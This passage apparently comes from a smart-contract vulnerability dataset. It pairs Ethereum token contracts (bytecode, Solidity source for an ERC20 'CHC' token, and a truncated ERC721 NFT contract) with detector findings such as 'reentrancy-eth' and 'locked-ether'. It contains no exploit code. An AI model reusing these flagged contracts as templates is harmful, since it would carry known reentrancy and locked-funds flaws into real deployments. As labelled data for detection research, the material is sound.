b03831660009081526010602052604090205460ff16158015610eff57506001600160a01b03821660009081526010602052604090205460ff16155b610f575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f2565b6015546001600160a01b03838116911614610fdc5760175481610f79846107c5565b610f839190611c7f565b10610fdc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f2565b6000610fe7306107c5565b6018546016549192508210159082106110005760165491505b8080156110175750601554600160a81b900460ff16155b801561103157506015546001600160a01b03868116911614155b80156110465750601554600160b01b900460ff165b801561106b57506001600160a01b03851660009081526005602052604090205460ff16155b801561109057506001600160a01b03841660009081526005602052604090205460ff16155b156110b05761109e826112b2565b4780156110ae576110ae476111f4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f557506001600160a01b03831660009081526005602052604090205460ff165b8061112757506015546001600160a01b0385811691161480159061112757506015546001600160a01b03848116911614155b15611134575060006111ae565b6015546001600160a01b03858116911614801561115f57506014546001600160a01b03848116911614155b1561117157600854600c55600954600d555b6015546001600160a01b03848116911614801561119c57506014546001600160a01b03858116911614155b156111ae57600a54600c55600b54600d555b610a3b8484848461143b565b600081848411156111de5760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611c97565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610663573d6000803e3d6000fd5b60006006548211156112955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f2565b600061129f611469565b90506112ab838261148c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fa576112fa611c38565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134e57600080fd5b505afa158015611362573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113869190611cae565b8160018151811061139957611399611c38565b6001600160a01b0392831660209182029290920101526014546113bf9130911684610b5a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f8908590600090869030904290600401611ccb565b600060405180830381600087803b15801561141257600080fd5b505af1158015611426573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611448576114486114ce565b6114538484846114fc565b80610a3b57610a3b600e54600c55600f54600d55565b60008060006114766115f3565b9092509050611485828261148c565b9250505090565b60006112ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611633565b600c541580156114de5750600d54155b156114e557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150e87611661565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154090876116be565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156f9086611700565b6001600160a01b0389166000908152600260205260409020556115918161175f565b61159b84836117a9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160e828261148c565b82101561162a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116545760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611d3c565b600080600080600080600080600061167e8a600c54600d546117cd565b925092509250600061168e611469565b905060008060006116a18e878787611822565b919e509c509a509598509396509194505050505091939550919395565b60006112ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ba565b60008061170d8385611c7f565b9050838110156112ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f2565b6000611769611469565b905060006117778383611872565b306000908152600260205260409020549091506117949082611700565b30600090815260026020526040902055505050565b6006546117b690836116be565b6006556007546117c69082611700565b6007555050565b60008080806117e760646117e18989611872565b9061148c565b905060006117fa60646117e18a89611872565b905060006118128261180c8b866116be565b906116be565b9992985090965090945050505050565b60008080806118318886611872565b9050600061183f8887611872565b9050600061184d8888611872565b9050600061185f8261180c86866116be565b939b939a50919850919650505050505050565b60008261188157506000610678565b600061188d8385611d5e565b90508261189a8583611d3c565b146112ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c257600080fd5b803561192781611907565b919050565b6000602080838503121561193f57600080fd5b823567ffffffffffffffff8082111561195757600080fd5b818501915085601f83011261196b57600080fd5b81358181111561197d5761197d6118f1565b8060051b604051601f19603f830116810181811085821117156119a2576119a26118f1565b6040529182528482019250838101850191888311156119c057600080fd5b938501935b828510156119e5576119d68561191c565b845293850193928501926119c5565b98975050505050505050565b600060208083528351808285015260005b81811015611a1e57858101830151858201604001528201611a02565b81811115611a30576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5957600080fd5b8235611a6481611907565b946020939093013593505050565b600080600060608486031215611a8757600080fd5b8335611a9281611907565b92506020840135611aa281611907565b929592945050506040919091013590565b600060208284031215611ac557600080fd5b81356112ab81611907565b8035801515811461192757600080fd5b600060208284031215611af257600080fd5b6112ab82611ad0565b600060208284031215611b0d57600080fd5b5035919050565b60008060008060808587031215611b2a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5b57600080fd5b833567ffffffffffffffff80821115611b7357600080fd5b818601915086601f830112611b8757600080fd5b813581811115611b9657600080fd5b8760208260051b8501011115611bab57600080fd5b602092830195509350611bc19186019050611ad0565b90509250925092565b60008060408385031215611bdd57600080fd5b8235611be881611907565b91506020830135611bf881611907565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7857611c78611c4e565b5060010190565b60008219821115611c9257611c92611c4e565b500190565b600082821015611ca957611ca9611c4e565b500390565b600060208284031215611cc057600080fd5b81516112ab81611907565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1b5784516001600160a01b031683529383019391830191600101611cf6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7857611d78611c4e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207d3f4dede08d808123e70da7cc33eabeb1bef81ed1715eff859d741c2f14cebc64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,285 |
0xb1fbf469efeb83a1223bc061d5be22ba99c26012
|
pragma solidity ^0.4.26;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CHC is StandardToken, BurnableToken, Ownable {
// Constants
string public constant name = "Comprehensive Health Chain";
string public constant symbol = "CHC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function () external payable {
revert();
}
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd146102005780632ff2e9dc14610285578063313ce567146102b057806342966c68146102e1578063661884631461030e57806370a08231146103735780638da5cb5b146103ca57806395d89b4114610421578063a9059cbb146104b1578063d73dd62314610516578063dd62ed3e1461057b578063f2fde38b146105f2575b600080fd5b3480156100ec57600080fd5b506100f5610635565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea6107f7565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610801565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610bbb565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b506102c5610bcc565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ed57600080fd5b5061030c60048036038101908080359060200190929190505050610bd1565b005b34801561031a57600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b34801561037f57600080fd5b506103b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6f565b6040518082815260200191505060405180910390f35b3480156103d657600080fd5b506103df610eb7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042d57600080fd5b50610436610edd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047657808201518184015260208101905061045b565b50505050905090810190601f1680156104a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104bd57600080fd5b506104fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f16565b604051808215151515815260200191505060405180910390f35b34801561052257600080fd5b50610561600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611135565b604051808215151515815260200191505060405180910390f35b34801561058757600080fd5b506105dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611331565b6040518082815260200191505060405180910390f35b3480156105fe57600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113b8565b005b6040805190810160405280601a81526020017f436f6d70726568656e73697665204865616c746820436861696e00000000000081525081565b60008082141580156106fd57506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561070757600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561083e57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561088b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561091657600080fd5b610967826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fa826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610acb82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a6305f5e1000281565b601281565b610bdb3382611545565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cef576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d83565b610d02838261151090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f434843000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f5357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fa057600080fd5b610ff1826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611084826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006111c682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561145057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561151e57fe5b818303905092915050565b6000818301905082811015151561153c57fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561159257600080fd5b6115e3816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163a8160015461151090919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058206c2b22d9b5f1196568179e01282254ee0b72c7f389249a7edd07583149ea8cd40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,286 |
0x16e18c26d51d56d344e5d8b39008a80f46bd995e
|
/**
*Submitted for verification at Etherscan.io on 2021-08-14
*/
pragma solidity 0.7.6;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface ERC721TokenReceiver{
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract DegenerateDolphins is IERC721 {
using SafeMath for uint256;
event Mint(uint indexed index, address indexed minter);
bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
string public contentHash = "QmSoshmjbmM47fE5VsskKBFsMjpVhz1j33PfDentSVqbdN";
uint public constant TOKEN_LIMIT = 3333;
mapping(bytes4 => bool) internal supportedInterfaces;
mapping (uint256 => address) internal idToOwner;
mapping (uint256 => address) internal idToApproval;
mapping (address => mapping (address => bool)) internal ownerToOperators;
mapping(address => uint256[]) internal ownerToIds;
mapping(uint256 => uint256) internal idToOwnerIndex;
string internal nftName = "DegenerateDolphins";
string internal nftSymbol = "DOLPHIN";
uint internal numTokens = 0;
address payable internal deployer;
address payable internal beneficiary1;
address payable internal beneficiary2;
uint private price = 20000000000000000;
uint private pricehalf = 10000000000000000;
uint public constant MAX_PURCHASE = 20;
//// Random index assignment
uint internal nonce = 0;
uint[TOKEN_LIMIT] internal indices;
modifier onlyDeployer() {
require(msg.sender == deployer, "Only deployer.");
_;
}
bool private reentrancyLock = false;
modifier reentrancyGuard {
if (reentrancyLock) {
revert();
}
reentrancyLock = true;
_;
reentrancyLock = false;
}
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender], "Cannot operate.");
_;
}
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender
|| idToApproval[_tokenId] == msg.sender
|| ownerToOperators[tokenOwner][msg.sender], "Cannot transfer."
);
_;
}
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0), "Invalid token.");
_;
}
constructor(address payable _beneficiary1, address payable _beneficiary2 ) {
supportedInterfaces[0x01ffc9a7] = true; // ERC165
supportedInterfaces[0x80ac58cd] = true; // ERC721
supportedInterfaces[0x780e9d63] = true; // ERC721 Enumerable
supportedInterfaces[0x5b5e139f] = true; // ERC721 Metadata
deployer = msg.sender;
beneficiary1 = _beneficiary1;
beneficiary2 = _beneficiary2;
}
//ERC 721 and 165
function isContract(address _addr) internal view returns (bool addressCheck) {
uint256 size;
assembly { size := extcodesize(_addr) } // solhint-disable-line
addressCheck = size > 0;
}
function supportsInterface(bytes4 _interfaceID) external view override returns (bool) {
return supportedInterfaces[_interfaceID];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata _data) external override {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external override {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId) external override canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Wrong from address.");
require(_to != address(0), "Cannot send to 0x0.");
_transfer(_to, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external override canOperate(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApproval[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external override {
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
